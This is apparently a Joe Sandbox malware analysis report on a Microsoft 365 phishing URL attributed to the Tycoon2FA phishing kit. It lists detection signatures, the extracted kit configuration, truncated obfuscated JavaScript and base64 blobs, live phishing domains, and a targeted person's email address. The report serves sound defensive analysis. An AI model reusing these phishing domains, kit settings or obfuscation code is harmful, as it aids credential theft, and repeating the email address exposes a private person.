Edit tour

Windows Analysis Report
http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es

Overview

General Information

Sample URL:	http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es
Analysis ID:	1641757
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

URL contains potential PII (phishing indication)

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1432 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 1008 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2296,i,17955037585810255446,17763860737144477224,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2332 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7136 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "l38v",
  "emailcheck": "0",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/wbbv240NdvXXNuWaT1NUj0Mmxf4u4UYhgTFyPg0IgY0GZuLvBx2r7Gtb",
  "gdf": "/ght42ocKkYHJzQ9uKksl5yRZiuyzXM2uK2BN51T6mab113"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_96	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
1.7..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.10.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.3.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.20.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
4.22..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
4.22..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.17..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.16.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.16.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
4.27.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
3.15.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.2.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
4.23..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.15.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.2.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
4.23..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
4.30..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.5.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.5.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.6.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.6.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.6.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
4.9.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
4.8.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.4.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.2.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.2.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
4.9.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
4.8.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
4.9.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
3.4.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
4.10.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.2.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
4.10.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
4.8.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
4.10.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 39 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 4.27.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "l38v", "emailcheck": "0", "webname": "rtrim(/web9/, '/')", "urlo": "/wbbv240NdvXXNuWaT1NUj0Mmxf4u4UYhgTFyPg0IgY0GZuLvBx2r7Gtb", "gdf": "/ght42ocKkYHJzQ9uKksl5yRZiuyzXM2uK2BN51T6mab113"}

Phishing

AI detected phishing page

Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'ajd.asfhkkiv.es' does not match the legitimate domain 'microsoft.com'., The domain 'asfhkkiv.es' appears unrelated to Microsoft and is suspicious., The URL contains unusual elements and does not resemble any known Microsoft subdomains or services., The presence of input fields for 'Email, phone, or Skype' is typical for phishing attempts targeting Microsoft accounts. DOM: 4.8.pages.csv
Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'ajd.asfhkkiv.es' does not match the legitimate domain for Microsoft., The URL contains a suspicious domain 'asfhkkiv.es' which does not relate to Microsoft., The URL structure and domain name do not align with Microsoft's known web properties., The presence of input fields for 'Email, phone, or Skype' is typical for Microsoft services, but the URL does not match Microsoft's domain. DOM: 4.10.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 4.9.pages.csv, type: HTML
Source: Yara match	File source: 4.8.pages.csv, type: HTML
Source: Yara match	File source: 4.10.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 3.15.d.script.csv, type: HTML
Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 3.6.pages.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 3.15.d.script.csv, type: HTML
Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 4.30..script.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 3.6.pages.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_96, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 4.27.d.script.csv, type: HTML
Source: Yara match	File source: 1.7..script.csv, type: HTML
Source: Yara match	File source: 1.10.d.script.csv, type: HTML
Source: Yara match	File source: 2.12..script.csv, type: HTML
Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 3.20.d.script.csv, type: HTML
Source: Yara match	File source: 4.22..script.csv, type: HTML
Source: Yara match	File source: 3.17..script.csv, type: HTML
Source: Yara match	File source: 3.16.d.script.csv, type: HTML
Source: Yara match	File source: 4.23..script.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 3.6.pages.csv, type: HTML
Source: Yara match	File source: 4.9.pages.csv, type: HTML
Source: Yara match	File source: 4.8.pages.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 4.10.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://microsoft365online.mdshohelrana.com/access... This script exhibits high-risk behavior by redirecting the user to a suspicious, obfuscated URL after a 3-second delay. The use of a dynamic URL with encoded elements suggests potential malicious intent, such as a phishing attempt or drive-by download.
Source: 1.1..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ajd.asfhkkiv.es/rIMOdeCtriNV/*mdiaz%40estr... The script contains obfuscated code and URLs, uses dynamic code execution through eval, and interacts with a suspicious domain. These high-risk indicators suggest potentially malicious behavior.
Source: 1.9..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ajd.asfhkkiv.es/rIMOdeCtriNV/*mdiaz%40estr... The script uses dynamic code execution via the Function constructor with base64-decoded content, which is a high-risk indicator. It also manipulates the window location, potentially redirecting users, and includes obfuscated code. These behaviors suggest malicious intent, such as phishing or data exfiltration.
Source: 1.2.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... The script uses dynamic code execution via eval, which is a high-risk indicator. It also contains heavily obfuscated code, another high-risk indicator. The combination of these factors suggests a high likelihood of malicious intent.

Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW

HTTP Parser: Number of links: 0

Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://ajd.asfhkkiv.es/rIMOdeCtriNV/*mdiaz%40estrellagalicia.es

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>AI UI Template</title> <style> body { font-family: 'Segoe UI', Tahoma, Geneva,...

Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW

HTTP Parser: Title: Login To Access System does not match URL

Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	HTTP Parser: Invalid link: Terms of use
Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	HTTP Parser: Invalid link: Privacy & cookies
Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	HTTP Parser: Invalid link: Terms of use
Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	HTTP Parser: Invalid link: Privacy & cookies

Source: http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es

Sample URL: PII: mdiaz@estrellagalicia.es

Source: https://ajd.asfhkkiv.es/rIMOdeCtriNV/*mdiaz%40estrellagalicia.es	HTTP Parser: function ieiyjeafrr(){vmpdhyfsst = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagica8bwv0ysbjagfyc2v0psjvveytoci+ciagica8bwv0ysbuyw1lpsj2awv3cg9ydcigy29udgvudd0id2lkdgg9zgv2awnllxdpzhrolcbpbml0awfslxnjywxlpteumci+ciagica8dgl0bgu+r3jhcghpyybdyxjkifdlyibuzw1wbgf0ztwvdgl0bgu+ciagica8c3r5bgu+ciagicagicagym9kesb7ciagicagicagicagigzvbnqtzmftawx5oiantw9udhnlcnjhdccsihnhbnmtc2vyawy7ciagicagicagicagigjhy2tncm91bmqty29sb3i6icmxytfhmmu7ciagicagicagicagignvbg9yoiajztblmguwowogicagicagicagicbtyxjnaw46ida7ciagicagicagicagihbhzgrpbmc6ida7ciagicagicagicagigxpbmutagvpz2h0oiaxljy7ciagicagicagfqogicagicagighlywrlcib7ciagicagicagicagigjhy2tncm91bmqty29sb3i6icmxnjixm2u7ciagicagicagicagihbhzgrpbmc6idmwchg7ciagicagicagicagihrlehqtywxpz246ignlbnrlcjskicagicagicagicagym9yzgvylwjvdhrvbtogm3b4ihnvbglkicnlotq1nja7ciagicagicagfqogicagicagighlywrlcibomsb7ciagicagicagicagig1hcmdpbjogmdskicagicagicagicagzm9udc1zaxploia0mnb4owogicagicagicagicbjb2xvcjogi2u5ndu2mdskicagicagicagicagdgv4dc10cmfuc2zvcm06ihvwcgvyy2fzztskicagicagi...
Source: https://ajd.asfhkkiv.es/rIMOdeCtriNV/	HTTP Parser: function qphmnxietf(){ktqklrojbo = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagica8bwv0ysbjagfyc2v0psjvveytoci+ciagica8bwv0ysbuyw1lpsj2awv3cg9ydcigy29udgvudd0id2lkdgg9zgv2awnllxdpzhrolcbpbml0awfslxnjywxlpteumci+ciagica8dgl0bgu+qukgvukgvgvtcgxhdgu8l3rpdgxlpgogicagphn0ewxlpgogicagicagigjvzhkgewogicagicagicagicbmb250lwzhbwlsetogj1nlz29lifvjjywgvgfob21hlcbhzw5ldmesifzlcmrhbmesihnhbnmtc2vyawy7ciagicagicagicagigjhy2tncm91bmqty29sb3i6icmxytfhmwe7ciagicagicagicagignvbg9yoiajztblmguwowogicagicagicagicbtyxjnaw46ida7ciagicagicagicagihbhzgrpbmc6ida7ciagicagicagicagigxpbmutagvpz2h0oiaxljy7ciagicagicagfqogicagicagighlywrlcib7ciagicagicagicagigjhy2tncm91bmqty29sb3i6icmwzdq3yte7ciagicagicagicagihbhzgrpbmc6idiwchg7ciagicagicagicagihrlehqtywxpz246ignlbnrlcjskicagicagicagicagym9yzgvylwjvdhrvbtogmnb4ihnvbglkicm2ngi1zjy7ciagicagicagfqogicagicagighlywrlcibomsb7ciagicagicagicagig1hcmdpbjogmdskicagicagicagicagzm9udc1zaxploiazmnb4owogicagicagicagicbjb2xvcjogi2zmzmzmzjskicagicagicb9ciagicagicagbmf2ihskicagicagicagi...
Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "l38v";var emailcheck = "0";var webname = "rtrim(/web9/, '/')";var urlo = "/wbbv240ndvxxnuwat1nuj0mmxf4u4uyhgtfypg0igy0gzulvbx2r7gtb";var gdf = "/ght42ockkyhjzq9ukksl5yrziuyzxm2uk2bn51t6mab113";var odf = "/ij5bupa1t4rztvnyr0rundqth2lwxyf5crw4ig5ndrnvficd641";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.match(/edg...

Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW

HTTP Parser: <input type="password" .../> found

Source: https://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es	HTTP Parser: No favicon
Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	HTTP Parser: No favicon
Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	HTTP Parser: No favicon

Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	HTTP Parser: No <meta name="author".. found
Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	HTTP Parser: No <meta name="author".. found

Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	HTTP Parser: No <meta name="copyright".. found
Source: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.4:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.213.38.242:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.4:49809 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /access/authorize/vFoOn1l/mdiaz@estrellagalicia.es HTTP/1.1Host: microsoft365online.mdshohelrana.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJOhywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCIrgzgEIruTOAQiE5c4BCIvlzgE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: microsoft365online.mdshohelrana.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.esAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
